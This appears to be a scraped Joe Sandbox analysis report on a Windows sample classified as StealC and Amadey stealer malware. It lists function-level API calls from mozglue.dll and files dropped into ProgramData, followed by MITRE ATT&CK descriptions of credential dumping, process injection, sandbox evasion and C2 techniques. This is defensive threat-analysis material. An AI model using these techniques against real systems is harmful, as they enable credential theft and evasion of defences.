moz_xmalloc.MOZGLUE(0KQl,?,6C514B30,80000000,?,6C514AB7,?,6C4D43CF,?,6C4D42D2), ref: 6C4E6C58

Strings

0KQl, xrefs: 6C4E6C33, 6C4E6C41, 6C4E6C57

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0KQl
API String ID: 1967447596-1241777402
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 145d31365f3da9ce35ebdf53f3543a5316c51c8f5016d12c6c0975a754a49612
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 79E086F1A105094A9B08D978AC09EAE75C88B1C6EBF054A39ED32C6BCCFA54E5508191

Function 6C4E3850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C55F860), ref: 6C4E385C
ReleaseSRWLockExclusive.KERNEL32(6C55F860,?), ref: 6C4E3871

Strings

,Ul, xrefs: 6C4E387A

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,Ul
API String ID: 17069307-1618445069
Opcode ID: 8ac4d57e22e0f2720da72b750eb244a0140bf5c6df149d799a08d9304486b965
Instruction ID: 09c46996bbe26b622125b5fdf1b8dd74b1854bde4e409cacc94cc2e67fc32591
Opcode Fuzzy Hash: 8ac4d57e22e0f2720da72b750eb244a0140bf5c6df149d799a08d9304486b965
Instruction Fuzzy Hash: 41E0DF31A01A18978702EF968C05E8A3BF8FE0B692387460AF40A17A10C770908086C9

Function 6C4EBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C4EBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C4EBEF5

Strings

cryptbase.dll, xrefs: 6C4EBEF0

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: c63f1e60d0eb6c1ab159dbc6426ad098336388c2da16368e0bb4c5e77cb4a503
Instruction ID: 0efbcbc08a36cd18eaed226ca7dab779dc785973330b0663f0bc492ab3a7f82b
Opcode Fuzzy Hash: c63f1e60d0eb6c1ab159dbc6426ad098336388c2da16368e0bb4c5e77cb4a503
Instruction Fuzzy Hash: E0D0C932384208EADA40BAA48D0AF2A7BB8A706726F95C021F75594951C7B1A465CB99

Function 6C52B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C52B2C9,?,?,?,6C52B127,?,?,?,?,?,?,?,?,?,6C52AE52), ref: 6C52B628

Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C5290FF
Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C529108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C52B2C9,?,?,?,6C52B127,?,?,?,?,?,?,?,?,?,6C52AE52), ref: 6C52B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C52B2C9,?,?,?,6C52B127,?,?,?,?,?,?,?,?,?,6C52AE52), ref: 6C52B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C52B127,?,?,?,?,?,?,?,?), ref: 6C52B74D

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: ce87aeb4c88087a0a1e7e835b8f0f9eeb99ad7b524940330c7aebb02de488f50
Instruction ID: cfeb1dcc988241cf53f7f4a5c3aa03ac31eeda2e8d97e0ac9bf95c68d6f8fa6a
Opcode Fuzzy Hash: ce87aeb4c88087a0a1e7e835b8f0f9eeb99ad7b524940330c7aebb02de488f50
Instruction Fuzzy Hash: B651BF71A052168BDB14DF18CD80A5EB7F5FF85304F59852DC89BABB90D735B804CBA1

Function 6C52DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C51FF2A), ref: 6C52DFFD

Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C5290FF
Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C529108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C51FF2A), ref: 6C52E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C51FF2A), ref: 6C52E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C51FF2A), ref: 6C52E0FE

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 8995fd48f32858667efa147516aeca0f590fbd32a56298b012e3a6a71decc25c
Instruction ID: 65c748509f3959cd85c798a4f6e2337cca79eb85b14a6879449f3f2835d9f435
Opcode Fuzzy Hash: 8995fd48f32858667efa147516aeca0f590fbd32a56298b012e3a6a71decc25c
Instruction Fuzzy Hash: 7741CFB16042068FEB14CF78CC8076AB3F2BB45309F154939D516DBB80E7B6E906CB92

Function 6C526E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C526EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C526EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C526F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C526F5C

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 82d5114acf824bdd3b272a1aa72f803513b408637849fdc14e9e00eb0c9b5a3f
Instruction ID: 6f0616922bf985cbdaef5760aa0a2ec8f1e2adce547093519c776bc23b650702
Opcode Fuzzy Hash: 82d5114acf824bdd3b272a1aa72f803513b408637849fdc14e9e00eb0c9b5a3f
Instruction Fuzzy Hash: 2C31F671A1060A8FDB14CF2CCD806AE73E9EB84304F50853DD41AD7AA5EF35EA59C791

Function 6C53B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C4E0A4D), ref: 6C53B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C4E0A4D), ref: 6C53B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C4E0A4D), ref: 6C53B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C4E0A4D), ref: 6C53B67F

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 344287b2f1a1d5c2d77d2c7f016a2d3dd59e2386d13525123740dd79a4377a22
Instruction ID: 5c98e569e2e331a3438c36cea54544853a20fa7e46cb472cad7acd8b390049fc
Opcode Fuzzy Hash: 344287b2f1a1d5c2d77d2c7f016a2d3dd59e2386d13525123740dd79a4377a22
Instruction Fuzzy Hash: 4431E371A016268FDB10DF58CC4465ABBB5EF84314F5A8A29C80A9B712FB31E915CBA0

Function 6C50F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C50F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C50F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C50F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C50F668

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 7f375c52c7bad776a1a447baf0edb01f9523413923cff892bafb91127bb4ef9b
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 8D311E71B00614AFC724CF59DCC0A9E77B6EBC4358B148A39EA498BB05D771F9448B98

Function 6C5226B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5226C1
free.MOZGLUE(?), ref: 6C5226E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5226FF
free.MOZGLUE ref: 6C52270D

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: f2cb81af0d1950b52046b5b170ae32a7688187ceba54736e80ca1a0f160b6b27
Instruction ID: ae8a7cc03fc913955dccf943857efba5ade15b964008dcf5c2329b9a17e67816
Opcode Fuzzy Hash: f2cb81af0d1950b52046b5b170ae32a7688187ceba54736e80ca1a0f160b6b27
Instruction Fuzzy Hash: C1F0F4B77012005BE7009B18DC88E4BB3E9EF45368B550035EA1AC3B02E736F919C6A6

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BFIJKEBFBFHIJJKEHDHI

C:\ProgramData\DHJECFCGHIDGHIDHDHIE

C:\ProgramData\IDAEBGCAAECAKFHIIJDBAKJDGI

C:\ProgramData\IDGHDGID

C:\ProgramData\IDGIJEGHDAECAKECAFCAKFCGDA

C:\ProgramData\JKKFIIEBKEGIEBFIJKFI

C:\ProgramData\KKKJKEBK

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre